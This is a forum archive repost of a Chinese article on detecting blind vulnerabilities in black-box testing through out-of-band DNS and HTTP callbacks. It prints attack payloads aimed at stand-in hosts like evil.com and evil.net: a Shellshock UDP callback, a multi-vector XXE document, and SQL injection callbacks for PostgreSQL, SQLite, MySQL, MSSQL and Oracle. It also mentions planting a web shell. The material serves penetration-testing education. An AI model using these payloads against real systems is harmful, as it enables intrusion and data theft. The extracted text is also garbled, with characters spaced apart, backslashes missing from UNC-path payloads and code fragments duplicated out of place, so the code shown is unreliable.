搜索

[2321] 2015-09-28_黑盒测试中那些看不见的漏洞

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2015-09-28_黑盒测试中那些看不见的漏洞 黑 盒 测 试 中 那 些 " 看 不 见 的 " 漏 洞 小 饼 仔   E 安 全   2 0 1 5 - 0 9 - 2 8 【 新 朋 友 【 新 朋 友 】 点 击 标 题 下 面 蓝 字 「 E 安 全 安 全 」 关 注 【 老 朋 友 老 朋 友 】 点 击 右 上 角 ， 分 享 或 收 藏 本 页 精 彩 内 容 【 公 众 号 公 众 号 】 搜 索 公 众 号 ： E 安 全 安 全 ， 或 者 I D : E A Q a p p 简 单 翻 译 下 大 致 意 思 在 黑 盒 测 试 中 ， 一 般 我 们 通 过 请 求 的 响 应 来 判 断 一 个 漏 洞 是 否 存 在 ， 比 如 -   是 否 触 发 错 误 消 息 -   响 应 内 容 是 否 不 同 -   是 否 有 时 间 延 迟 但 有 一 些 漏 洞 触 发 后 并 不 会 造 成 响 应 不 同 ， 或 者 不 会 立 刻 执 行 ， 比 如 二 次 S Q L 注 入 、 命 令 注 入 但 只 会 在 夜 间 c r o n t a b 执 行 等 ， 导 致 我 们 无 法 通 过 一 般 的 手 段 来 判 断 是 否 存 在 漏 洞 。 这 类 “ 看 不 见 的 ” 漏 洞 大 致 可 以 分 为 三 类 ： -   发 生 在 后 台 线 程 的 S e r v e r 端 漏 洞 。 比 如 在 队 列 中 的 S Q L 注 入 查 询 ， 你 不 知 道 这 个 注 入 查 询 什 么 时 候 会 被 执 行 ， 也 许 p a y l o a d 会 触 发 时 间 延 迟 ， 但 是 这 个 延 迟 仅 影 响 后 台 线 程 ， 无 法 在 前 台 被 检 测 到 。 -   B l i n d 漏 洞 ， 需 要 二 次 事 件 来 触 发 。 比 如 B l i n d   X S S 、 二 次 S Q L 注 入 -   不 会 造 成 响 应 不 同 的 漏 洞 ， 并 且 这 类 漏 洞 不 支 持 任 何 方 法 来 触 发 时 间 延 迟 。 如 B l i n d   X E E   和   X P a t h 注 入 为 了 能 够 检 测 到 此 类 漏 洞 ， 我 们 需 要 一 个 能 够 促 发 c a l l b a c k 的 p a y l o a d ， c a l l b a c k 能 够 从 有 漏 洞 的 应 用 向 攻 击 者 控 制 的 机 器 上 发 起 连 接 ， 比 如 S h e l l s h o c k 的 例 子 如 果 服 务 器 存 在 S h e l l s h o c k 漏 洞 ， e v i l . c o m 的 5 3 端 口 就 会 受 到 一 个 U D P 包 。 ( )   {   : ; } ;   e c h o   1   >   / d e v / u d p / e v i l . c o m / 5 3
通 过 触 发 c a l l b a c k 的 方 法 ， 我 们 不 需 要 依 赖 应 用 的 输 出 就 可 以 来 判 断 漏 洞 是 否 存 在 。 因 为 D N S 查 询 几 乎 不 会 被 防 火 墙 拦 截 ， 因 此 非 常 适 合 作 为 触 发 c a l l b a c k 。 D r o p s 之 前 有 人 发 过 一 篇 D N S :   M o r e   t h a n   j u s t   n a m e s 介 绍 了 如 何 利 用 D N S 来 攻 击 , 有 兴 趣 可 以 看 一 看 下 面 介 绍 一 些 不 同 漏 洞 类 型 下 的 D N S   c a l l b a c k X M L 漏 洞 漏 洞 下 面 代 码 利 用 6 种 不 同 的 X M L 漏 洞 来 尝 试 触 发 c a l l b a c k ( 包 含 e v i l . n e t 的 u r l ) 最 后 两 个 p a y l o a d ， 利 用 了 X I n c l u d e   和   s c h e m a L o c a t i o n ， 因 为 不 需 要 完 全 控 制 X M L 文 档 ， 因 此 特 别 有 效 S Q L 注 入 注 入 P o s t g r e s q l < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ? x m l - s t y l e s h e e t   t y p e = " t e x t / x m l "   h r e f = " h t t p : / / x s l . e v i l . n e t / a . x s l " ? > < ! D O C T Y P E   r o o t   P U B L I C   " - / / A / B / E N "   h t t p : / / d t d . e v i l . n e t / a . d t d   [     < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / x x e 2 . e v i l . n e t / a " >     < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / x x e 1 . e v i l . n e t / a " >     % r e m o t e ; ] > < r o o t >     < f o o > & x x e ; < / f o o >     < x   x m l n s : x i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X I n c l u d e " > < x i : i n c l u d e         h r e f = " h t t p : / / x i . e v i l . n e t / "   > < / x >     < y   x m l n s = h t t p : / / a . b /         x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "         x s i : s c h e m a L o c a t i o n = " h t t p : / / a . b /         h t t p : / / s c h e m a l o c a t i o n . e v i l . n e t / a . x s d " > a < / y > < / r o o t >
利 用 c o p y   命 令 ， 可 以 调 用 任 意 的 s h e l l 命 令 ( 需 要 一 定 权 限 ) 如 果 用 p i n g 命 令 在 l i n u x 下 会 阻 塞 执 行 的 线 程 ， 因 此 这 里 用 n s l o o k u p M y S Q L   和 和   S Q L i t e 3 W i n d o w s 下 ， 大 多 数 文 件 系 统 函 数 都 支 持 U N C   p a t h ， U N C   p a t h 能 够 引 用 远 程 s e r v e r 的 资 源 ， 因 此 能 触 发 D N S 查 询 。 也 就 是 说 W i n d o w s 下 几 乎 所 有 的 I / O 函 数 都 能 够 触 发 c a l l b a c k S Q L i t e 3 第 一 种 需 要 支 持 b a t c h e d   q u e r y ， 第 二 种 需 要 启 用 l o a d _ e x t e n s i o n   函 数 M y S Q L   M S S Q L ( 需 要   ' a d   h o c   d i s t r i b u t e d   q u e r i e s ' ) ( 需 要   s y s a d m i n   权 限 ) c o p y   ( s e l e c t   ' ' )   t o   p r o g r a m   ' n s l o o k u p   e v i l . n e t ' ; a t t a c h   d a t a b a s e   ' / / e v i l . n e t / z '   a s   ' z ' - -   -   ( S E L E C T   l o a d _ e x t e n s i o n ( ' / / f o o ' ) ) L O A D _ F I L E ( ' e v i l . n e t f o o ' )     S E L E C T   …   I N T O   O U T F I L E   ' e v i l . n e t f o o ' S E L E C T   *   F R O M   o p e n r o w s e t ( ' S Q L N C L I ' ,   ' e v i l . n e t ' ; ' a ' ,       ' s e l e c t   1   f r o m   d u a l ' ) E X E C   m a s t e r . d b o . x p _ f i l e e x i s t   ' e v i l . n e t f o o ' B U L K   I N S E R T   m y t a b l e   F R O M   ' e v i l . n e t $ f i l e '
( 需 要   b u l k   i n s e r t   p r i v i l e g e s ) ( 最 理 想 的   –   需 要   s y s a d m i n   权 限   ， D N S   查 询 后 会 检 查 权 限 ) O r a c l e   S Q L O r a c l e 提 供 很 多 方 法 来 触 发 c a l l b a c k ， 如 U T L _ H T T P ,   U T L _ T C P ,   U T L _ S M T P ,   U T L _ I N A D D R ,   U T L _ F I L E … ， 但 是 都 需 要 各 种 权 限 。 但 是 可 以 利 用 内 置 的 X M L 解 析 函 数 ， 低 权 限 用 户 也 可 以 调 用 。 最 近 O r a c l e 也 被 发 现 存 在 X X E 注 入 漏 洞 ， 因 此 我 们 可 以 利 用 X X E 来 触 发 c a l l b a c k W r i t e - b a s e d   c a l l b a c k s 因 为 非 W I N D O W S 系 统 不 支 持 U N C   p a t h s ， 我 们 可 以 利 用 写 文 件 函 数 来 触 发 c a l l b a c k 最 直 接 的 方 式 就 是 写 一 个 w e b   s h e l l ， 前 提 是 需 要 知 道 w e b r o o t 路 径 修 改 m a i l s p o o l s   /   m a i l d r o p s ， 控 制 邮 件 发 送 ， 这 个 需 要 r o o t 权 限 ， 没 什 么 用 利 用 m y s q l 函 数 来 修 改 配 置 文 件 ， 将 修 改   b i n d - a d d r e s s 成 我 们 的 h o s t n a m e ， 然 后 在 d n s 响 应 返 回 0 . 0 . 0 . 0 ， 让 m y s q l 绑 定 所 以 可 用 接 口 s h e l l 命 令 注 入 和   X S S 部 分 大 家 参 考 下 原 文 关 于 E 安 全 E 安 全 是 国 内 第 一 款 面 向 信 息 安 全 行 业 的 免 费 内 容 分 享 平 台 ， E 安 全 秉 承 “ 掌 握 信 息 安 全 的 专 家 ” 的 分 享 精 神 ， 长 期 提 供 的 免 费 专 业 的 信 息 安 全 课 程 教 学 、 业 内 资 料 、 威 胁 预 警 以 及 最 新 资 讯 ， 为 信 息 安 全 专 业 人 才 的 成 长 提 供 一 个 更 为 便 捷 和 高 效 的 一 站 式 服 务 。 B U L K   I N S E R T   m y t a b l e   F R O M   ' e v i l . n e t $ f i l e ' E X E C   m a s t e r . d b o . x p _ d i r t r e e   ' e v i l . n e t f o o ' S E L E C T   e x t r a c t v a l u e ( x m l t y p e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   %     r e m o t e   S Y S T E M   " h t t p : / / e v i l . n e t / " >   % r e m o t e ; ] > ' ) , ' / l ' )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理